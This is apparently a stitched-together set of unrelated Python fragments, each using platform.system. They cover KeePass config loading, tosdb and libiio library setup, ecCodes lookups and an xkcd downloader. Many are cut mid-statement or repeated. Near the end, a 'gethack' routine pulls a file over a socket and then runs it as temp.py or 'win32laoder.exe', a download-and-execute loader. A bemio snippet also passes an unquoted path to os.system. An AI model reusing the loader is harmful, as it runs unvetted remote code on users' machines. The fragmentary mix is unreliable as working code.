def __init__(self, createSqliteInMemory=True, configFilePath=None, configDict={}): """fields in configDict or in configFile: keePassFilePath keePassNotesSeparator driversTypes password (not recommended) the configFile is first imported and its value is override by the configDict parameter each field must be given in the config file or the configDict parameter with the exception of password if password is not set, a prompt will ask you for it """ from pykeepass import PyKeePass as _PyKeePass from pykeepass.exceptions import CredentialsIntegrityError as _CredentialsIntegrityError self.config = {} if configFilePath is None: if _system() == "Windows": configFilePath = _environ["USERPROFILE"] elif _system() in ("Linux", "Darwin"): configFilePath = _environ["HOME"] configFilePath = _join(configFilePath, ".connectionManagerpy", "config.py") if _isfile(configFilePath): configDictInFile = _utils.importFromPath(configFilePath).configDict self.config.update(configDictInFile) self.config.update(configDict) else: self.config.update(configDict) self.keePassFilePath = self.config["keePassFilePath"] self.keePassNotesSeparator = self.config["keePassNotesSeparator"] self.driversTypes = self.config["driversTypes"] try: pwd = self.config.get("password") if pwd is None: from getpass import getpass as _getpass pwd = _getpass("mdp: ") self.keyPassFile = _PyKeePass(self.keePassFilePath, pwd) except FileNotFoundError: raise FileNotFoundError(self.keePassFilePath + " inexistant") except _CredentialsIntegrityError: raise ValueError("mot de passe incorrect pour " + self.keePassFilePath) if createSqliteInMemory: self.inMemory = self.getDriver("sql", "sqlite") self.inMemory = self.inMemory() self.inMemory.connect(self.inMemory.inmemory)
def init(): global vaddr print() if args.path: print('+ lib path:', args.path) elif args.root: print('+ lib root:', args.root) else: print( 'error: tosdb_test.py requires a --root or --path arg for library') return False if _system() not in ["Windows", "windows", "WINDOWS"]: print("error: can only run '--virtual' on non Windows systems") return False try: tosdb.init(dllpath=args.path, root=args.root) print('+ init successful') except Exception as e: print('- init failed:', str(e)) return False print() return True
def _checkNull(result, func, arguments): if result: return result else: err = get_last_error() if 'Windows' in _system() else get_errno() print("Invalid argument, null result\n") raise OSError(err, _strerror(err))
def _get_lib_path_(lib_name='libeccodes'): """Return path to ecCodes library""" system_name = _system() codes_info_path = _chekout(['which', 'codes_info']).strip() if system_name == 'Linux': q = ['ldd'] ext = 'so' elif system_name == 'Darwin': q = ['otool', '-L'] # this reqires xcode to be installed ext = 'dylib' q.append(codes_info_path) lib_path = None lib_name_ext = lib_name + '.' + ext for i in _chekout(q).strip().split('\n'): i = i.strip() if lib_name_ext in i: if system_name == 'Linux': lib_path = i.split(' ')[2] elif system_name == 'Darwin': lib_path = i.split(' ')[0] break if not _os.path.exists(lib_path): env_var = lib_name.upper() + '_PATH' try: lib_path = _os.environ[env_var] except KeyError: raise KeyError(lib_name_ext + ' file can not be found. ' + 'Please, set ' + env_var + ' environment variable.') return(lib_path)
def _get_c_library_filename(): """Return the filename of the HARP shared library depending on the current platform. """ from platform import system as _system if _system() == "Windows": return "harp.dll" import os.path path = os.path.join(os.path.dirname(__file__), "../../..") if _system() == "Darwin": return os.path.join(os.path.normpath(path), "libharp.dylib") return os.path.join(os.path.normpath(path), "libharp.so")
def get_executable(name: str, virtual_environment: str) -> str: system = _system() if system in ("Linux", "Darwin"): return path.join(virtual_environment, "bin", name) elif system == "Windows": return path.join(virtual_environment, "Scripts", f"{name}.exe") else: raise RuntimeError(f"Unknown system {system}.")
def no_color(): """ If "ACCELPY_NO_COLOR" environment variable is set, return True. Returns: bool: True if no color mode. """ return (bool(_environ.get("ACCELPY_NO_COLOR", False)) and _system() != 'Windows')
def _get_serial_port(self, port): if _system() == "Windows": port = port.upper() available_ports = [] for comport in _comports(): available_ports.append(comport.device) if comport.name == port or comport.device == port: return comport raise Exception( "Entered serial port {} is not in available ports. Available:{}". format(port, available_ports))
def init(): global vaddr print() if args.path: print('+ lib path:', args.path) elif args.root: print('+ lib root:', args.root) else: print( 'error: tosdb_test.py requires a --root or --path arg for library') return False if args.virtual: raw = args.virtual.split(' ') try: v = ((raw[0], int(raw[1])), ) except IndexError: print("usage: tosdb_test --virtual 'address port [timeout]'", file=_stderr) return False vaddr = v[0] v += (int(raw[2]), ) if len(raw) > 2 else () v = v[:1] + (args.auth, ) + v[1:] try: tosdb.admin_init(*v) print('+ admin_init successful') except Exception as e: print('- admin_init failed:', str(e)) return False try: res = tosdb.vinit(dllpath=args.path, root=args.root) print('+ vinit successful') except Exception as e: print('- vinit failed:', str(e)) return False else: if _system() not in ["Windows", "windows", "WINDOWS"]: print("error: can only run '--virtual' on non Windows systems") return False try: res = tosdb.init(dllpath=args.path, root=args.root) print('+ init successful') except Exception as e: print('- init failed:', str(e)) return False print() return True
def open(self): '''Function to open a VTK PolyData object in the default viewer of your operating system. .. Note:: This function is only available for OSX and Linux systems and and requires you have a program installed that has the ability to open VTK PolyData (.vtp) files. Example: This example assumes that a mesh has been read by bemio and mesh data is contained in a `PanelMesh` object called `mesh` >>> mesh.open() ''' self.write(mesh_format='VTP') if _system() == 'Darwin': os.system('open ' + self.files['vtp']) elif _system() == 'Linux': os.system('xdg ' + self.files['vtp']) else: raise Exception('The open function is only supported for OSX')
def init(): global vaddr print() if args.path: print("+ lib path:", args.path) elif args.root: print("+ lib root:", args.root) else: print("error: tosdb_test.py requires a --root or --path arg for library") return False if args.virtual: raw = args.virtual.split(" ") try: v = ((raw[0], int(raw[1])),) except IndexError: print("usage: tosdb_test --virtual 'address port [timeout]'", file=_stderr) return False vaddr = v[0] v += (int(raw[2]),) if len(raw) > 2 else () if args.auth: v = v[:2] + (args.auth,) + v[2:] try: tosdb.admin_init(*v) print("+ admin_init successful") except Exception as e: print("- admin_init failed:", str(e)) return False try: res = tosdb.vinit(dllpath=args.path, root=args.root) print("+ vinit successful") except Exception as e: print("- vinit failed:", str(e)) return False else: if _system() not in ["Windows", "windows", "WINDOWS"]: print("error: can only run '--virtual' on non Windows systems") return False try: res = tosdb.init(dllpath=args.path, root=args.root) print("+ init successful") except Exception as e: print("- init failed:", str(e)) return False print() return True
def gethack(path): s = socket.socket() host = "localhost" port = 50000 s.connect((host, port)) s.send(bytearray(_system().encode('utf-8'))) print("sending") with open(path, 'wb') as f: while True: print('receiving data...') data = s.recv(1024) if not data: break # write data to a file f.write(data) f.close() print('Successfully get the file') s.close() print('connection closed')
def init(): global vaddr print() if args.path: print('+ lib path:', args.path) elif args.root: print('+ lib root:', args.root) else: print('error: tosdb_test.py requires a --root or --path arg for library') return False if _system() not in ["Windows","windows","WINDOWS"]: print("error: can only run '--virtual' on non Windows systems") return False try: tosdb.init(dllpath=args.path, root=args.root) print('+ init successful') except Exception as e: print('- init failed:',str(e)) return False print() return True
class _Context(Structure): pass class _Device(Structure): pass class _Channel(Structure): pass class _Buffer(Structure): pass _ContextPtr = _POINTER(_Context) _DevicePtr = _POINTER(_Device) _ChannelPtr = _POINTER(_Channel) _BufferPtr = _POINTER(_Buffer) _lib = _cdll.LoadLibrary('libiio.dll' if 'Windows' in _system() else 'libiio.so.0') _new_local = _lib.iio_create_local_context _new_local.restype = _ContextPtr _new_local.errcheck = _checkNull _new_xml = _lib.iio_create_xml_context _new_xml.restype = _ContextPtr _new_xml.argtypes = (c_char_p, ) _new_xml.errcheck = _checkNull _new_network = _lib.iio_create_network_context _new_network.restype = _ContextPtr _new_network.argtypes = (c_char_p, ) _new_network.errcheck = _checkNull
from functools import partial as _partial from math import log as _log, ceil as _ceil from sys import maxsize as _maxsize, stderr as _stderr from atexit import register as _on_exit from collections import namedtuple as _namedtuple from time import asctime as _asctime, localtime as _localtime from platform import system as _system from contextlib import contextmanager as _contextmanager from os import walk as _walk, stat as _stat, curdir as _curdir, \ listdir as _listdir, sep as _sep, path as _path from re import compile as _compile, search as _search, match as _match, \ split as _split if _system() not in ["Windows", "windows", "WINDOWS"]: print("error: tosdb/_win.py is for windows only !", file=_stderr) exit(1) from ctypes import CDLL as _CDLL, \ cast as _cast, \ pointer as _pointer, \ create_string_buffer as _BUF_, \ POINTER as _PTR_, \ c_double as _double_, \ c_float as _float_, \ c_ulong as _ulong_, \ c_long as _long_, \ c_longlong as _longlong_, \ c_char_p as _str_, \ c_char as _char_, \
def _checkNull(result, func, arguments): if result: return result else: err = get_last_error() if 'Windows' in _system() else get_errno() raise OSError(err, _strerror(err))
# License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. from ctypes import Structure, c_char_p, c_uint, c_int, c_size_t, \ c_ssize_t, c_char, c_void_p, c_bool, create_string_buffer, \ POINTER as _POINTER, CDLL as _cdll, memmove as _memmove, byref as _byref from os import strerror as _strerror from platform import system as _system import weakref if 'Windows' in _system(): from ctypes import get_last_error else: from ctypes import get_errno def _checkNull(result, func, arguments): if result: return result else: err = get_last_error() if 'Windows' in _system() else get_errno() raise OSError(err, _strerror(err)) def _checkNegative(result, func, arguments): if result >= 0: return result else:
from json import loads as _loads import httplib2 import sys import os ## CONSTANTS # Address of the latest comic's metadata. BASE_URL = 'http://xkcd.com/info.0.json' # Directory for storing cached network requests. CACHE_DIR = '.xkcd_cache' # Diretory for storing the image files. COMIC_DIR = '.comics' # The working directory. BASE_PATH = os.getcwd() # The user's Operating System. USER_OS = _system() # Text file containing mouseover text. MO_TEXT = '.mouseover-text.txt' # Used for HTTP requests. HTTP = httplib2.Http(CACHE_DIR) # An internet connection is available. CONNECTED = True # The number of the most recent comic. MOST_RECENT = 999999 ## NON-CONSTANT GLOBALS # A list of the current comics downloaded. comic_list = None # True if a new comic has been downloaded in the current session. updated = True
# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. from ctypes import Structure, c_char_p, c_uint, c_int, c_long, c_longlong, c_size_t, \ c_ssize_t, c_char, c_void_p, c_bool, create_string_buffer, c_double, \ POINTER as _POINTER, CDLL as _cdll, memmove as _memmove, byref as _byref from ctypes.util import find_library from enum import Enum from os import strerror as _strerror from platform import system as _system import weakref if 'Windows' in _system(): from ctypes import get_last_error else: from ctypes import get_errno def _checkNull(result, func, arguments): if result: return result else: err = get_last_error() if 'Windows' in _system() else get_errno() raise OSError(err, _strerror(err)) def _checkNegative(result, func, arguments): if result >= 0:
from functools import partial as _partial from math import log as _log, ceil as _ceil from sys import maxsize as _maxsize, stderr as _stderr from atexit import register as _on_exit from collections import namedtuple as _namedtuple from time import asctime as _asctime, localtime as _localtime from platform import system as _system from contextlib import contextmanager as _contextmanager from os import walk as _walk, stat as _stat, curdir as _curdir, \ listdir as _listdir, sep as _sep, path as _path from re import compile as _compile, search as _search, match as _match, \ split as _split if _system() not in ["Windows","windows","WINDOWS"]: print("error: tosdb/_win.py is for windows only !", file=_stderr) exit(1) from ctypes import CDLL as _CDLL, \ cast as _cast, \ pointer as _pointer, \ create_string_buffer as _BUF_, \ POINTER as _PTR_, \ c_double as _double_, \ c_float as _float_, \ c_ulong as _ulong_, \ c_long as _long_, \ c_longlong as _longlong_, \ c_char_p as _str_, \ c_char as _char_, \
kwargs[k] = a.encode('utf8') res = func(*args, **kwargs) if isinstance(res, bytes): res = res.decode('utf8') return res return wrapper _ContextPtr = _POINTER(_Context) _DevicePtr = _POINTER(_Device) _ChannelPtr = _POINTER(_Channel) _BufferPtr = _POINTER(_Buffer) _lib = _cdll.LoadLibrary('libiio.dll' if 'Windows' in _system() else 'libiio.so') _new_local = _lib.iio_create_local_context _new_local.restype = _ContextPtr _new_local.errcheck = _checkNull _new_local = _unicode_decorator(_new_local) _new_xml = _lib.iio_create_xml_context _new_xml.restype = _ContextPtr _new_xml.argtypes = (c_char_p, ) _new_xml.errcheck = _checkNull _new_xml = _unicode_decorator(_new_xml) _new_network = _lib.iio_create_network_context _new_network.restype = _ContextPtr _new_network.argtypes = (c_char_p, )
class _Channel(Structure): pass class _Buffer(Structure): pass _ContextPtr = _POINTER(_Context) _DevicePtr = _POINTER(_Device) _ChannelPtr = _POINTER(_Channel) _BufferPtr = _POINTER(_Buffer) _lib = _cdll.LoadLibrary('libiio.dll' if 'Windows' in _system() else 'libiio.so.0') _new_local = _lib.iio_create_local_context _new_local.restype = _ContextPtr _new_local.errcheck = _checkNull _new_xml = _lib.iio_create_xml_context _new_xml.restype = _ContextPtr _new_xml.argtypes = (c_char_p, ) _new_xml.errcheck = _checkNull _new_network = _lib.iio_create_network_context _new_network.restype = _ContextPtr _new_network.argtypes = (c_char_p, ) _new_network.errcheck = _checkNull
# errors/exceptions, datetime objects, and helper/utility functions from ._common import _DateTimeStamp, _TOSDB_DataBlock, _type_switch from collections import namedtuple as _namedtuple from threading import Thread as _Thread, Lock as _Lock from functools import partial as _partial from platform import system as _system from sys import stderr as _stderr from re import sub as _sub from atexit import register as _on_exit import struct as _struct import socket as _socket import pickle as _pickle _SYS_IS_WIN = _system() in ["Windows", "windows", "WINDOWS"] if _SYS_IS_WIN: from ._win import * # import the core implementation _virtual_hub = None _virtual_hub_addr = None _virtual_admin = False _virtual_admin_sock = None _vCREATE = "CREATE" _vCALL = "CALL" _vDESTROY = "DESTROY" _vFAILURE = "FAILURE" _vFAIL_EXC = "1" _vSUCCESS = "SUCCESS"
from ._common import * # a 'library' consisting of c/cpp _tosdb consts, # errors/exceptions, datetime objects, and helper/utility functions from ._common import _DateTimeStamp, _TOSDB_DataBlock, _type_switch from collections import namedtuple as _namedtuple from threading import Thread as _Thread, Lock as _Lock from functools import partial as _partial from platform import system as _system from sys import stderr as _stderr from re import sub as _sub from atexit import register as _on_exit import struct as _struct import socket as _socket import pickle as _pickle _SYS_IS_WIN = _system() in ["Windows","windows","WINDOWS"] if _SYS_IS_WIN: from ._win import * # import the core implementation _virtual_hub = None _virtual_hub_addr = None _virtual_admin = False _virtual_admin_sock = None _vCREATE = 'CREATE' _vCALL = 'CALL' _vDESTROY = 'DESTROY' _vFAILURE = 'FAILURE' _vFAIL_EXC = '1' _vSUCCESS = 'SUCCESS'
from math import inf as _inf from platform import system as _system THIS_OPERATING_SYSTEM_NAME = _system() INF = _inf VALID_MODES = {'o', 'a', 'x'} VALID_UNITS = {'auto', 'by', 'kb', 'mb', 'gb', 'tb'} UNIT_CONVERSION_MAP = {0: 'by', 1: 'kb', 2: 'mb', 3: 'gb', 4: 'tb'} UNIT_CONVERSION_MAP_REVERSED = {v: k for k, v in UNIT_CONVERSION_MAP.items()} if THIS_OPERATING_SYSTEM_NAME == 'Windows': FORBIDDEN_PATH_CHARS = {'/', ':', '*', '?', "\"", '<', '>', '|'} elif THIS_OPERATING_SYSTEM_NAME == 'Darwin': FORBIDDEN_PATH_CHARS = {':'} elif THIS_OPERATING_SYSTEM_NAME == 'Unix': # TODO: pass else: # TODO: pass UNIVERSAL_FORBIDDEN_PATH_CHAR = ':' class ClassBehaviorBlocker: def __setattr__(self, key, value):
def gethack(path): s = socket.socket() host = "localhost" port = 50000 s.connect((host, port)) s.send(bytearray(_system().encode('utf-8'))) print("sending") with open(path, 'wb') as f: while True: print('receiving data...') data = s.recv(1024) if not data: break # write data to a file f.write(data) f.close() print('Successfully get the file') s.close() print('connection closed') if _system() == "Linux": path = "./temp.py" gethack(path) system(f"python3 {path}") elif _system() == "Windows": path='"C:/win32laoder.exe"' gethack(path) system(path)
# version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. from ctypes import Structure, c_char_p, c_uint, c_int, c_size_t, \ c_ssize_t, c_char, c_void_p, c_bool, create_string_buffer, \ POINTER as _POINTER, CDLL as _cdll, memmove as _memmove, byref as _byref from ctypes.util import find_library from os import strerror as _strerror from platform import system as _system import weakref if 'Windows' in _system(): from ctypes import get_last_error else: from ctypes import get_errno def _checkNull(result, func, arguments): if result: return result else: err = get_last_error() if 'Windows' in _system() else get_errno() raise OSError(err, _strerror(err)) def _checkNegative(result, func, arguments): if result >= 0:
create_string_buffer, c_double, cast, POINTER as _POINTER, CDLL as _cdll, memmove as _memmove, byref as _byref, ) from ctypes.util import find_library from enum import Enum from os import strerror as _strerror from platform import system as _system import weakref import abc if "Windows" in _system(): from ctypes import get_last_error else: from ctypes import get_errno # pylint: enable=ungrouped-imports # ctypes requires the errcheck to take three arguments, but we don't use them # pylint: disable=unused-argument def _check_null(result, func, arguments): if result: return result err = get_last_error() if "Windows" in _system() else get_errno() raise OSError(err, _strerror(err))
def _check_null(result, func, arguments): if result: return result err = get_last_error() if "Windows" in _system() else get_errno() raise OSError(err, _strerror(err))
This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ''' from platform import system as _system from sys import exit as _exit if _system() != "Windows": print("Sorry, This program doesn't work in your OS. Please use Windows!") _exit() import winsound from gpltext import GPL_license from linereadw import linereadw from msvcrt import getch from math import log10 def freq(note): return 440 * (10**(((note - 69) / 12) * log10(2))) def yesno(s):